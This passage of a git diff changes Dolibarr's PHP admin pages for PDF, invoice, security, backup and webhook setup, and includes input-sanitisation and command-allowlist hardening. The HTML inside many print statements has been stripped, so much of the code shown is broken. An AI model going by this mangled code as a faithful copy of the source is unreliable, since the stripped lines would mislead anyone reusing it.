      '; print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '.$langs->trans("Parameters").''.$langs->trans("Value").'
      '; -print ''; +print ''; // Show sender name @@ -378,6 +387,7 @@ if ($conf->use_javascript_ajax) { $arrval = array('0' => $langs->trans("No"), '1' => $langs->trans("Yes")); print $form->selectarray("MAIN_PDF_NO_RECIPENT_FRAME", $arrval, $conf->global->MAIN_PDF_NO_RECIPENT_FRAME); } +print ''; //Invert sender and recipient @@ -399,6 +409,13 @@ if ($conf->use_javascript_ajax) { } print ''; +// Show alias in thirdparty name +print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '.$langs->trans("Parameter").'
      '.$langs->trans("PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME").''; +if ($conf->use_javascript_ajax) { + $arrval = array('0' => $langs->trans("No"), '1' => $langs->trans("THIRDPARTY_ALIAS"), '2' => $langs->trans("ALIAS_THIRDPARTY")); + print $form->selectarray("PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME", $arrval, getDolGlobalInt('PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME')); +} + print '
      '; print '
      '; @@ -443,7 +460,7 @@ if ($mysoc->useLocalTax(1) || $mysoc->useLocalTax(2)) { print load_fiche_titre($title, '', ''); print ''; -print ''; +print ''; // Hide any information on Sale tax / VAT @@ -463,22 +480,20 @@ print '
      '; // Other + print load_fiche_titre($langs->trans("Other"), '', ''); print '
      '; print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '.$langs->trans("Parameter").'
      '; -print ''; +print ''; // Use 2 languages into PDF -print ''; // Height of logo @@ -585,16 +600,6 @@ if ($conf->use_javascript_ajax) { print $form->selectarray("DOC_SHOW_FIRST_SALES_REP", $arrval, $conf->global->DOC_SHOW_FIRST_SALES_REP); } -// Show alias in thirdparty name - -/* Disabled because not yet completely implemented (does not work when we force a contact on object) -print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '.$langs->trans("PDF_USE_ALSO_LANGUAGE_CODE").''; -//if (getDolGlobalInt('MAIN_MULTILANGS')) - //{ +print '
      '; +print $form->textwithpicto($langs->trans("PDFIn2Languages"), $langs->trans("PDF_USE_ALSO_LANGUAGE_CODE")); +print ''; $selected = GETPOSTISSET('PDF_USE_ALSO_LANGUAGE_CODE') ? GETPOST('PDF_USE_ALSO_LANGUAGE_CODE') : (!empty($conf->global->PDF_USE_ALSO_LANGUAGE_CODE) ? $conf->global->PDF_USE_ALSO_LANGUAGE_CODE : 0); print $formadmin->select_language($selected, 'PDF_USE_ALSO_LANGUAGE_CODE', 0, null, 1); -//} else { -// print ''.$langs->trans("MultiLangNotEnabled").''; -//} print '
      '.$langs->trans("PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME").''; -if ($conf->use_javascript_ajax) { - $arrval = array('0' => $langs->trans("No"), '1' => $langs->trans("THIRDPARTY_ALIAS"), '2' => $langs->trans("ALIAS_THIRDPARTY")); - print $form->selectarray("PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME", $arrval, getDolGlobalInt('PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME')); -} -*/ - // Show online payment link on invoices print '
      '.$langs->trans("PDF_SHOW_LINK_TO_ONLINE_PAYMENT").''; diff --git a/htdocs/admin/pdf_other.php b/htdocs/admin/pdf_other.php index f2f9f83f67c..933486b0577 100644 --- a/htdocs/admin/pdf_other.php +++ b/htdocs/admin/pdf_other.php @@ -4,7 +4,8 @@ * Copyright (C) 2005-2011 Regis Houssin * Copyright (C) 2012-2107 Juanjo Menent * Copyright (C) 2019 Ferran Marcet - * Copyright (C) 2021 Anthony Berton + * Copyright (C) 2021-2022 Anthony Berton + * Copyright (C) 2022 Alexandre Spangaro * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -35,7 +36,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/pdf.lib.php'; // Load translation files required by the page -$langs->loadLangs(array('admin', 'languages', 'other', 'companies', 'products', 'members', 'stocks', 'Trips')); +$langs->loadLangs(array('admin', 'bills', 'companies', 'languages', 'members', 'other', 'products', 'propal', 'receptions', 'stocks', 'trips')); if (!$user->admin) { accessforbidden(); @@ -69,6 +70,13 @@ if ($action == 'update') { dolibarr_set_const($db, "INVOICE_ADD_SWISS_QR_CODE", GETPOST("INVOICE_ADD_SWISS_QR_CODE", 'int'), 'chaine', 0, '', $conf->entity); dolibarr_del_const($db, "INVOICE_ADD_ZATCA_QR_CODE", $conf->entity); } + if (GETPOSTISSET('INVOICE_CATEGORY_OF_OPERATION')) { + dolibarr_set_const($db, "INVOICE_CATEGORY_OF_OPERATION", GETPOST("INVOICE_CATEGORY_OF_OPERATION", 'int'), 'chaine', 0, '', $conf->entity); + } + if (GETPOSTISSET('INVOICE_SHOW_SHIPPING_ADDRESS')) { + dolibarr_set_const($db, "INVOICE_SHOW_SHIPPING_ADDRESS", GETPOST("INVOICE_SHOW_SHIPPING_ADDRESS", 'int'), 'chaine', 0, '', $conf->entity); + dolibarr_del_const($db, "INVOICE_SHOW_SHIPPING_ADDRESS", $conf->entity); + } setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); @@ -131,7 +139,7 @@ if (isModEnabled('facture')) { print '
      '; print ''; - print ''; + print ''; print ''; - /* - print ''; + + print ''; - */ + print $form->selectarray("INVOICE_SHOW_SHIPPING_ADDRESS", $arrval, $conf->global->INVOICE_SHOW_SHIPPING_ADDRESS); + } + print ''; print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '.$langs->trans("Parameters").''.$langs->trans("Value").'
      '; print $form->textwithpicto($langs->trans("INVOICE_ADD_ZATCA_QR_CODE"), $langs->trans("INVOICE_ADD_ZATCA_QR_CODEMore")); @@ -155,16 +163,26 @@ if (isModEnabled('facture')) { } print '
      '.$langs->trans("MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING").''; - if ($conf->use_javascript_ajax) { + // Mention category of operations + // French Decret n°2099-1299 2022-10-07 + print '
      '; + print $form->textwithpicto($langs->trans("InvoiceOptionCategoryOfOperations"), $langs->trans('InvoiceOptionCategoryOfOperationsHelp'), 1); + print ''; + $arrval = array('0'=>$langs->trans("No"), + '1'=>$langs->trans("InvoiceOptionCategoryOfOperationsYes1"), + '2'=>$langs->trans("InvoiceOptionCategoryOfOperationsYes2") + ); + print $form->selectarray("INVOICE_CATEGORY_OF_OPERATION", $arrval, $conf->global->INVOICE_CATEGORY_OF_OPERATION, 0, 0, 0, '', 0, 0, 0, '', 'minwidth75imp'); + print '
      '.$langs->trans("MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING").''; + if ($conf->use_javascript_ajax) { print ajax_constantonoff('MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING'); - } else { + } else { $arrval = array('0' => $langs->trans("No"), '1' => $langs->trans("Yes")); - print $form->selectarray("MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING", $arrval, $conf->global->MAIN_PDF_PROPAL_USE_ELECTRONIC_SIGNING); - } - print '
      '; print '
      '; @@ -177,7 +195,7 @@ if (isModEnabled('reception')) { print '
      '; print ''; - print ''; + print ''; print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '.$langs->trans("Parameters").''.$langs->trans("Value").'
      '; print $langs->trans("RECEPTION_PDF_HIDE_ORDERED"); diff --git a/htdocs/admin/perms.php b/htdocs/admin/perms.php index ef20ab6e205..42c766d1a22 100644 --- a/htdocs/admin/perms.php +++ b/htdocs/admin/perms.php @@ -227,7 +227,7 @@ if ($result) { // Tick if ($obj->bydefault == 1) { print ''; - print ''; + print ''; //print img_edit_remove(); print img_picto('', 'switch_on'); print ''; diff --git a/htdocs/admin/propal.php b/htdocs/admin/propal.php index 7883cc7da20..10044e33b5b 100644 --- a/htdocs/admin/propal.php +++ b/htdocs/admin/propal.php @@ -58,9 +58,9 @@ include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; $error = 0; if ($action == 'updateMask') { - $maskconstpropal = GETPOST('maskconstpropal', 'alpha'); + $maskconstpropal = GETPOST('maskconstpropal', 'aZ09'); $maskpropal = GETPOST('maskpropal', 'alpha'); - if ($maskconstpropal) { + if ($maskconstpropal && preg_match('/_MASK$/', $maskconstpropal)) { $res = dolibarr_set_const($db, $maskconstpropal, $maskpropal, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/admin/reception_setup.php b/htdocs/admin/reception_setup.php index c86db66e464..32f6c5b226e 100644 --- a/htdocs/admin/reception_setup.php +++ b/htdocs/admin/reception_setup.php @@ -65,9 +65,9 @@ if (empty($conf->global->RECEPTION_ADDON_NUMBER)) { include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconst = GETPOST('maskconstreception', 'alpha'); + $maskconst = GETPOST('maskconstreception', 'aZ09'); $maskvalue = GETPOST('maskreception', 'alpha'); - if (!empty($maskconst)) { + if (!empty($maskconst) && preg_match('/_MASK$/', $maskconst)) { $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); } diff --git a/htdocs/admin/security.php b/htdocs/admin/security.php index 02cddbd5d70..e30e50769bb 100644 --- a/htdocs/admin/security.php +++ b/htdocs/admin/security.php @@ -46,7 +46,7 @@ $allow_disable_encryption = true; */ if ($action == 'setgeneraterule') { - if (!dolibarr_set_const($db, 'USER_PASSWORD_GENERATED', $_GET["value"], 'chaine', 0, '', $conf->entity)) { + if (!dolibarr_set_const($db, 'USER_PASSWORD_GENERATED', GETPOST("value", "alphanohtml"), 'chaine', 0, '', $conf->entity)) { dol_print_error($db); } } @@ -56,7 +56,11 @@ if ($action == 'activate_encrypt') { $db->begin(); - dolibarr_set_const($db, "DATABASE_PWD_ENCRYPTED", "1", 'chaine', 0, '', $conf->entity); + // On old version, a bug created the constant into user entity, so we delete it to be sure such entry won't exists. We want it in entity 0 or nowhere. + dolibarr_del_const($db, "DATABASE_PWD_ENCRYPTED", $conf->entity); + // We set entity=0 (all) because DATABASE_PWD_ENCRYPTED is a setup into conf file, so always shared for everybody + $entityforall = 0; + dolibarr_set_const($db, "DATABASE_PWD_ENCRYPTED", "1", 'chaine', 0, '', $entityforall); $sql = "SELECT u.rowid, u.pass, u.pass_crypted"; $sql .= " FROM ".MAIN_DB_PREFIX."user as u"; @@ -267,8 +271,8 @@ print ''; print ''; -//if($conf->global->MAIN_SECURITY_DISABLEFORGETPASSLINK == 1) -// Patter for Password Perso + +// Pattern for Password Perso if ($conf->global->USER_PASSWORD_GENERATED == "Perso") { print '
      '; @@ -316,10 +320,10 @@ if ($conf->global->USER_PASSWORD_GENERATED == "Perso") { print '
      '; - print '
      '; print '
      '; print ''.$langs->trans("Save").''; print '
      '; + print '

      '; print ''; + print '
      '; print ''; print '
      '; -print ''; +print ''; print '
      '; $prefix = 'dump'; $ext = '.sql'; @@ -576,8 +589,8 @@ if (!empty($_SESSION["commandbackuptorun"])) { print " \n"; -print ''; -print ''; +//print ''; +//print ''; print " \n"; @@ -585,7 +598,7 @@ print " \n"; print '
      '; $filearray = dol_dir_list($conf->admin->dir_output.'/backup', 'files', 0, '', '', $sortfield, (strtolower($sortorder) == 'asc' ?SORT_ASC:SORT_DESC), 1); -$result = $formfile->list_of_documents($filearray, null, 'systemtools', '', 1, 'backup/', 1, 0, $langs->trans("NoBackupFileAvailable"), 0, $langs->trans("PreviousDumpFiles"), '', 0, -1, '', '', 'ASC', 1, 0, -1, 'style="height:480px; overflow: auto;"'); +$result = $formfile->list_of_documents($filearray, null, 'systemtools', '', 1, 'backup/', 1, 0, $langs->trans("NoBackupFileAvailable"), 0, $langs->trans("PreviousDumpFiles"), '', 0, -1, '', '', 'ASC', 1, 0, -1, 'style="height:250px; overflow: auto;"'); print '
      '; print '
      '; @@ -614,7 +627,7 @@ print '
      '; print load_fiche_titre($title); -print '
      '; +print '
      '; $prefix = 'documents'; $ext = 'zip'; $file = $prefix.'_'.$dolibarr_main_db_name.'_'.dol_sanitizeFileName(DOL_VERSION).'_'.dol_print_date(dol_now('gmt'), "dayhourlogsmall", 'tzuser'); @@ -639,12 +652,12 @@ foreach ($filecompression as $key => $val) { if ($key == 'gz') { $checked = ' checked'; } - print ''; - print ' '; + print ''; + print ' '; } else // Disabled export format { - print ''; - print ' '; + print ''; + print ' '; print ' ('.$langs->trans("NotAvailable").')'; } print '     '; @@ -673,6 +686,8 @@ print '
      '; print ''; print ''; +print '
      '; + // End of page llxFooter(); $db->close(); diff --git a/htdocs/admin/tools/export.php b/htdocs/admin/tools/export.php index 8e7643ffc5d..c9655afb26d 100644 --- a/htdocs/admin/tools/export.php +++ b/htdocs/admin/tools/export.php @@ -113,6 +113,9 @@ $outputdir = $conf->admin->dir_output.'/backup'; $result = dol_mkdir($outputdir); +$lowmemorydump = GETPOSTISSET("lowmemorydump") ? GETPOST("lowmemorydump") : getDolGlobalString('MAIN_LOW_MEMORY_DUMP'); + + // MYSQL if ($what == 'mysql') { $cmddump = GETPOST("mysqldump", 'none'); // Do not sanitize here with 'alpha', will be sanitize later by dol_sanitizePathName and escapeshellarg @@ -120,8 +123,9 @@ if ($what == 'mysql') { if (!empty($dolibarr_main_restrict_os_commands)) { $arrayofallowedcommand = explode(',', $dolibarr_main_restrict_os_commands); + $arrayofallowedcommand = array_map('trim', $arrayofallowedcommand); dol_syslog("Command are restricted to ".$dolibarr_main_restrict_os_commands.". We check that one of this command is inside ".$cmddump); - $basenamecmddump = basename($cmddump); + $basenamecmddump = basename(str_replace('\\', '/', $cmddump)); if (!in_array($basenamecmddump, $arrayofallowedcommand)) { // the provided command $cmddump must be an allowed command $errormsg = $langs->trans('CommandIsNotInsideAllowedCommands'); } @@ -132,7 +136,7 @@ if ($what == 'mysql') { } if (!$errormsg) { - $utils->dumpDatabase(GETPOST('compression', 'alpha'), $what, 0, $file); + $utils->dumpDatabase(GETPOST('compression', 'alpha'), $what, 0, $file, 0, 0, $lowmemorydump); $errormsg = $utils->error; $_SESSION["commandbackuplastdone"] = $utils->result['commandbackuplastdone']; $_SESSION["commandbackuptorun"] = $utils->result['commandbackuptorun']; @@ -141,7 +145,7 @@ if ($what == 'mysql') { // MYSQL NO BIN if ($what == 'mysqlnobin') { - $utils->dumpDatabase(GETPOST('compression', 'alpha'), $what, 0, $file); + $utils->dumpDatabase(GETPOST('compression', 'alpha'), $what, 0, $file, 0, 0, $lowmemorydump); $errormsg = $utils->error; $_SESSION["commandbackuplastdone"] = $utils->result['commandbackuplastdone']; @@ -157,8 +161,9 @@ if ($what == 'postgresql') { if (!empty($dolibarr_main_restrict_os_commands)) { $arrayofallowedcommand=explode(',', $dolibarr_main_restrict_os_commands); + $arrayofallowedcommand = array_map('trim', $arrayofallowedcommand); dol_syslog("Command are restricted to ".$dolibarr_main_restrict_os_commands.". We check that one of this command is inside ".$cmddump); - $basenamecmddump=basename($cmddump); + $basenamecmddump = basename(str_replace('\\', '/', $cmddump)); if (! in_array($basenamecmddump, $arrayofallowedcommand)) // the provided command $cmddump must be an allowed command { $errormsg=$langs->trans('CommandIsNotInsideAllowedCommands'); @@ -170,7 +175,7 @@ if ($what == 'postgresql') { } if (!$errormsg) { - $utils->dumpDatabase(GETPOST('compression', 'alpha'), $what, 0, $file); + $utils->dumpDatabase(GETPOST('compression', 'alpha'), $what, 0, $file, 0, 0, $lowmemorydump); $errormsg = $utils->error; $_SESSION["commandbackuplastdone"] = $utils->result['commandbackuplastdone']; $_SESSION["commandbackuptorun"] = $utils->result['commandbackuptorun']; diff --git a/htdocs/admin/tools/purge.php b/htdocs/admin/tools/purge.php index ee95fd7b44e..6c771abbd32 100644 --- a/htdocs/admin/tools/purge.php +++ b/htdocs/admin/tools/purge.php @@ -38,8 +38,8 @@ $nbsecondsold = GETPOSTINT('nbsecondsold'); // Define filelog to discard it from purge $filelog = ''; -if (!empty($conf->syslog->enabled)) { - $filelog = $conf->global->SYSLOG_FILE; +if (isModEnabled('syslog')) { + $filelog = getDolGlobalString('SYSLOG_FILE'); $filelog = preg_replace('/DOL_DATA_ROOT/i', DOL_DATA_ROOT, $filelog); } @@ -96,7 +96,7 @@ print ''; print ''; } diff --git a/htdocs/admin/website.php b/htdocs/admin/website.php index 3c348d71a12..47066900c04 100644 --- a/htdocs/admin/website.php +++ b/htdocs/admin/website.php @@ -43,10 +43,6 @@ $rowid = GETPOST('rowid', 'alpha'); $id = 1; -if (!$user->admin) { - accessforbidden(); -} - $acts[0] = "activate"; $acts[1] = "disable"; $actl[0] = img_picto($langs->trans("Disabled"), 'switch_off', 'class="size15x"'); @@ -84,7 +80,7 @@ $tablib[1] = "Websites"; // Requests to extract data $tabsql = array(); -$tabsql[1] = "SELECT f.rowid as rowid, f.entity, f.ref, f.description, f.virtualhost, f.position, f.status, f.date_creation FROM ".MAIN_DB_PREFIX.'website as f WHERE f.entity IN ('.getEntity('website').')'; +$tabsql[1] = "SELECT f.rowid as rowid, f.entity, f.ref, f.description, f.virtualhost, f.position, f.status, f.date_creation, f.lastaccess, f.pageviews_previous_month, f.pageviews_total FROM ".MAIN_DB_PREFIX.'website as f WHERE f.entity IN ('.getEntity('website').')'; // Criteria to sort dictionaries $tabsqlsort = array(); @@ -92,7 +88,7 @@ $tabsqlsort[1] = "ref ASC"; // Nom des champs en resultat de select pour affichage du dictionnaire $tabfield = array(); -$tabfield[1] = "ref,description,virtualhost,position,date_creation"; +$tabfield[1] = "ref,description,virtualhost,position,date_creation,lastaccess,pageviews_previous_month,pageviews_total"; // Nom des champs d'edition pour modification d'un enregistrement $tabfieldvalue = array(); @@ -125,6 +121,10 @@ $tabfieldcheck[1] = array(); $elementList = array(); $sourceList = array(); +if (!$user->admin) { + accessforbidden(); +} + /* * Actions @@ -186,7 +186,7 @@ if (GETPOST('actionadd', 'alpha') || GETPOST('actionmodify', 'alpha')) { $sql .= $tabrowid[$id].","; } $sql .= $tabfieldinsert[$id]; - $sql .= ",status)"; + $sql .= ", status, date_creation)"; $sql .= " VALUES("; // List of values @@ -211,7 +211,7 @@ if (GETPOST('actionadd', 'alpha') || GETPOST('actionmodify', 'alpha')) { } $i++; } - $sql .= ",1)"; + $sql .= ", 1, '".$db->idate(dol_now())."')"; dol_syslog("actionadd", LOG_DEBUG); $result = $db->query($sql); @@ -441,12 +441,10 @@ if ($id) { // Form to add a new line if ($tabname[$id]) { - $fieldlist = explode(',', $tabfield[$id]); - // Line for title print ''; foreach ($fieldlist as $field => $value) { - if ($fieldlist[$field] == 'date_creation') { + if (in_array($fieldlist[$field], array('date_creation', 'lastaccess', 'pageviews_previous_month', 'pageviews_month', 'pageviews_total'))) { continue; } @@ -522,6 +520,7 @@ if ($id) { print ''; print ''; + print '
      '; print '
      '; -if (!empty($conf->syslog->enabled)) { +if (isModEnabled('syslog')) { print ''; } else { - print ''.img_edit().''; + print ''.img_edit().''; print '   '; print ''.img_delete().''; } diff --git a/htdocs/admin/webhook.php b/htdocs/admin/webhook.php index b589eac4079..8c109a042b6 100644 --- a/htdocs/admin/webhook.php +++ b/htdocs/admin/webhook.php @@ -1,6 +1,5 @@ - * Copyright (C) 2022 SuperAdmin * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -23,39 +22,7 @@ */ // Load Dolibarr environment -$res = 0; -// Try main.inc.php into web root known defined into CONTEXT_DOCUMENT_ROOT (not always defined) -if (!$res && !empty($_SERVER["CONTEXT_DOCUMENT_ROOT"])) { - $res = @include $_SERVER["CONTEXT_DOCUMENT_ROOT"]."/main.inc.php"; -} -// Try main.inc.php into web root detected using web root calculated from SCRIPT_FILENAME -$tmp = empty($_SERVER['SCRIPT_FILENAME']) ? '' : $_SERVER['SCRIPT_FILENAME']; $tmp2 = realpath(__FILE__); $i = strlen($tmp) - 1; $j = strlen($tmp2) - 1; -while ($i > 0 && $j > 0 && isset($tmp[$i]) && isset($tmp2[$j]) && $tmp[$i] == $tmp2[$j]) { - $i--; $j--; -} -if (!$res && $i > 0 && file_exists(substr($tmp, 0, ($i + 1))."/main.inc.php")) { - $res = @include substr($tmp, 0, ($i + 1))."/main.inc.php"; -} -if (!$res && $i > 0 && file_exists(dirname(substr($tmp, 0, ($i + 1)))."/main.inc.php")) { - $res = @include dirname(substr($tmp, 0, ($i + 1)))."/main.inc.php"; -} -// Try main.inc.php using relative path -if (!$res && file_exists("../main.inc.php")) { - $res = @include "../main.inc.php"; -} -if (!$res && file_exists("../../main.inc.php")) { - $res = @include "../../main.inc.php"; -} -if (!$res && file_exists("../../../main.inc.php")) { - $res = @include "../../../main.inc.php"; -} -if (!$res) { - die("Include of main fails"); -} - -global $langs, $user; - -// Libraries +require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT."/core/lib/admin.lib.php"; require_once DOL_DOCUMENT_ROOT.'/webhook/lib/webhook.lib.php'; @@ -80,65 +47,27 @@ $label = GETPOST('label', 'alpha'); $scandir = GETPOST('scan_dir', 'alpha'); $type = 'myobject'; -$arrayofparameters = array( - 'WEBHOOK_MYPARAM1'=>array('type'=>'string', 'css'=>'minwidth500' ,'enabled'=>0), - //'WEBHOOK_MYPARAM2'=>array('type'=>'textarea','enabled'=>1), - //'WEBHOOK_MYPARAM3'=>array('type'=>'category:'.Categorie::TYPE_CUSTOMER, 'enabled'=>1), - //'WEBHOOK_MYPARAM4'=>array('type'=>'emailtemplate:thirdparty', 'enabled'=>1), - //'WEBHOOK_MYPARAM5'=>array('type'=>'yesno', 'enabled'=>1), - //'WEBHOOK_MYPARAM5'=>array('type'=>'thirdparty_type', 'enabled'=>1), - //'WEBHOOK_MYPARAM6'=>array('type'=>'securekey', 'enabled'=>1), - //'WEBHOOK_MYPARAM7'=>array('type'=>'product', 'enabled'=>1), -); $error = 0; $setupnotempty = 0; // Set this to 1 to use the factory to manage constants. Warning, the generated module will be compatible with version v15+ only -$useFormSetup = 0; -// Convert arrayofparameter into a formSetup object -if ($useFormSetup && (float) DOL_VERSION >= 15) { - require_once DOL_DOCUMENT_ROOT.'/core/class/html.formsetup.class.php'; - $formSetup = new FormSetup($db); +$useFormSetup = 1; - // you can use the param convertor - $formSetup->addItemsFromParamsArray($arrayofparameters); - - // or use the new system see exemple as follow (or use both because you can ;-) ) - - /* - // Hôte - $item = $formSetup->newItem('NO_PARAM_JUST_TEXT'); - $item->fieldOverride = (empty($_SERVER['HTTPS']) ? 'http://' : 'https://') . $_SERVER['HTTP_HOST']; - $item->cssClass = 'minwidth500'; - - // Setup conf WEBHOOK_MYPARAM1 as a simple string input - $item = $formSetup->newItem('WEBHOOK_MYPARAM1'); - - // Setup conf WEBHOOK_MYPARAM1 as a simple textarea input but we replace the text of field title - $item = $formSetup->newItem('WEBHOOK_MYPARAM2'); - $item->nameText = $item->getNameText().' more html text '; - - // Setup conf WEBHOOK_MYPARAM3 - $item = $formSetup->newItem('WEBHOOK_MYPARAM3'); - $item->setAsThirdpartyType(); - - // Setup conf WEBHOOK_MYPARAM4 : exemple of quick define write style - $formSetup->newItem('WEBHOOK_MYPARAM4')->setAsYesNo(); - - // Setup conf WEBHOOK_MYPARAM5 - $formSetup->newItem('WEBHOOK_MYPARAM5')->setAsEmailTemplate('thirdparty'); - - // Setup conf WEBHOOK_MYPARAM6 - $formSetup->newItem('WEBHOOK_MYPARAM6')->setAsSecureKey()->enabled = 0; // disabled - - // Setup conf WEBHOOK_MYPARAM7 - $formSetup->newItem('WEBHOOK_MYPARAM7')->setAsProduct(); - */ - - $setupnotempty = count($formSetup->items); +if (!class_exists('FormSetup')) { + // For retrocompatibility Dolibarr < 16.0 + if (floatval(DOL_VERSION) < 16.0 && !class_exists('FormSetup')) { + require_once __DIR__.'/../backport/v16/core/class/html.formsetup.class.php'; + } else { + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formsetup.class.php'; + } } +$formSetup = new FormSetup($db); + + +$setupnotempty = count($formSetup->items); + $dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); @@ -150,10 +79,10 @@ $dirmodels = array_merge(array('/'), (array) $conf->modules_parts['models']); include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconst = GETPOST('maskconst', 'alpha'); + $maskconst = GETPOST('maskconst', 'aZ09'); $maskvalue = GETPOST('maskvalue', 'alpha'); - if ($maskconst) { + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { $res = dolibarr_set_const($db, $maskconst, $maskvalue, 'chaine', 0, '', $conf->entity); if (!($res > 0)) { $error++; @@ -179,7 +108,7 @@ if ($action == 'updateMask') { $file = dol_buildpath($reldir."core/modules/webhook/doc/pdf_".$modele."_".strtolower($tmpobjectkey).".modules.php", 0); if (file_exists($file)) { $filefound = 1; - $classname = "pdf_".$modele; + $classname = "pdf_".$modele."_".strtolower($tmpobjectkey); break; } } @@ -190,7 +119,7 @@ if ($action == 'updateMask') { $module = new $classname($db); if ($module->write_file($tmpobject, $langs) > 0) { - header("Location: ".DOL_URL_ROOT."/document.php?modulepart=".strtolower($tmpobjectkey)."&file=SPECIMEN.pdf"); + header("Location: ".DOL_URL_ROOT."/document.php?modulepart=webhook-".strtolower($tmpobjectkey)."&file=SPECIMEN.pdf"); return; } else { setEventMessages($module->error, null, 'errors'); @@ -266,7 +195,7 @@ print load_fiche_titre($langs->trans($page_name), $linkback, 'title_setup'); // Configuration header $head = webhookAdminPrepareHead(); -print dol_get_fiche_head($head, 'settings', $langs->trans($page_name), -1, "webhook@webhook"); +print dol_get_fiche_head($head, 'settings', $langs->trans($page_name), -1, "webhook"); // Setup page goes here echo ''.$langs->trans("WebhookSetupPage").'

      '; @@ -293,14 +222,14 @@ if ($action == 'edit') { if ($val['type'] == 'textarea') { print '\n"; } elseif ($val['type']== 'html') { require_once DOL_DOCUMENT_ROOT . '/core/class/doleditor.class.php'; - $doleditor = new DolEditor($constname, $conf->global->{$constname}, '', 160, 'dolibarr_notes', '', false, false, $conf->fckeditor->enabled, ROWS_5, '90%'); + $doleditor = new DolEditor($constname, getDolGlobalString($constname), '', 160, 'dolibarr_notes', '', false, false, $conf->fckeditor->enabled, ROWS_5, '90%'); $doleditor->Create(); } elseif ($val['type'] == 'yesno') { - print $form->selectyesno($constname, $conf->global->{$constname}, 1); + print $form->selectyesno($constname, getDolGlobalString($constname), 1); } elseif (preg_match('/emailtemplate:/', $val['type'])) { include_once DOL_DOCUMENT_ROOT . '/core/class/html.formmail.class.php'; $formmail = new FormMail($db); @@ -382,9 +311,9 @@ if ($action == 'edit') { print '
      '; if ($val['type'] == 'textarea') { - print dol_nl2br($conf->global->{$constname}); + print dol_nl2br(getDolGlobalString($constname)); } elseif ($val['type']== 'html') { - print $conf->global->{$constname}; + print getDolGlobalString($constname); } elseif ($val['type'] == 'yesno') { print ajax_constantonoff($constname); } elseif (preg_match('/emailtemplate:/', $val['type'])) { @@ -393,14 +322,14 @@ if ($action == 'edit') { $tmp = explode(':', $val['type']); - $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, $conf->global->{$constname}); + $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, getDolGlobalString($constname)); if ($template<0) { setEventMessages(null, $formmail->errors, 'errors'); } print $langs->trans($template->label); } elseif (preg_match('/category:/', $val['type'])) { $c = new Categorie($db); - $result = $c->fetch($conf->global->{$constname}); + $result = $c->fetch(getDolGlobalString($constname)); if ($result < 0) { setEventMessages(null, $c->errors, 'errors'); } elseif ($result > 0 ) { @@ -412,25 +341,25 @@ if ($action == 'edit') { print '
        ' . implode(' ', $toprint) . '
      '; } } elseif (preg_match('/thirdparty_type/', $val['type'])) { - if ($conf->global->{$constname}==2) { + if (getDolGlobalInt($constname)==2) { print $langs->trans("Prospect"); - } elseif ($conf->global->{$constname}==3) { + } elseif (getDolGlobalInt($constname)==3) { print $langs->trans("ProspectCustomer"); - } elseif ($conf->global->{$constname}==1) { + } elseif (getDolGlobalInt($constname)==1) { print $langs->trans("Customer"); - } elseif ($conf->global->{$constname}==0) { + } elseif (getDolGlobalInt($constname)==0) { print $langs->trans("NorProspectNorCustomer"); } } elseif ($val['type'] == 'product') { $product = new Product($db); - $resprod = $product->fetch($conf->global->{$constname}); + $resprod = $product->fetch(getDolGlobalInt($constname)); if ($resprod > 0) { print $product->ref; } elseif ($resprod < 0) { setEventMessages(null, $object->errors, "errors"); } } else { - print $conf->global->{$constname}; + print getDolGlobalString($constname); } print '
      '; // Title of lines @@ -533,6 +532,10 @@ if ($id) { $align = "left"; $sortable = 1; $valuetoshow = ''; + if (in_array($fieldlist[$field], array('pageviews_total', 'pageviews_previous_month'))) { + $align = 'right'; + } + /* $tmparray=getLabelOfField($fieldlist[$field]); $showfield=$tmp['showfield']; @@ -554,14 +557,24 @@ if ($id) { if ($fieldlist[$field] == 'date_creation') { $valuetoshow = $langs->trans("DateCreation"); } + if ($fieldlist[$field] == 'lastaccess') { + $valuetoshow = $langs->trans("LastAccess"); + } + if ($fieldlist[$field] == 'pageviews_previous_month') { + $valuetoshow = $langs->trans("PagesViewedPreviousMonth"); + } + if ($fieldlist[$field] == 'pageviews_total') { + $valuetoshow = $langs->trans("PagesViewedTotal"); + } // Affiche nom du champ if ($showfield) { - print getTitleFieldOfList($valuetoshow, 0, $_SERVER["PHP_SELF"], ($sortable ? $fieldlist[$field] : ''), ($page ? 'page='.$page.'&' : ''), "", "align=".$align, $sortfield, $sortorder); + print getTitleFieldOfList($valuetoshow, 0, $_SERVER["PHP_SELF"], ($sortable ? $fieldlist[$field] : ''), ($page ? 'page='.$page.'&' : ''), 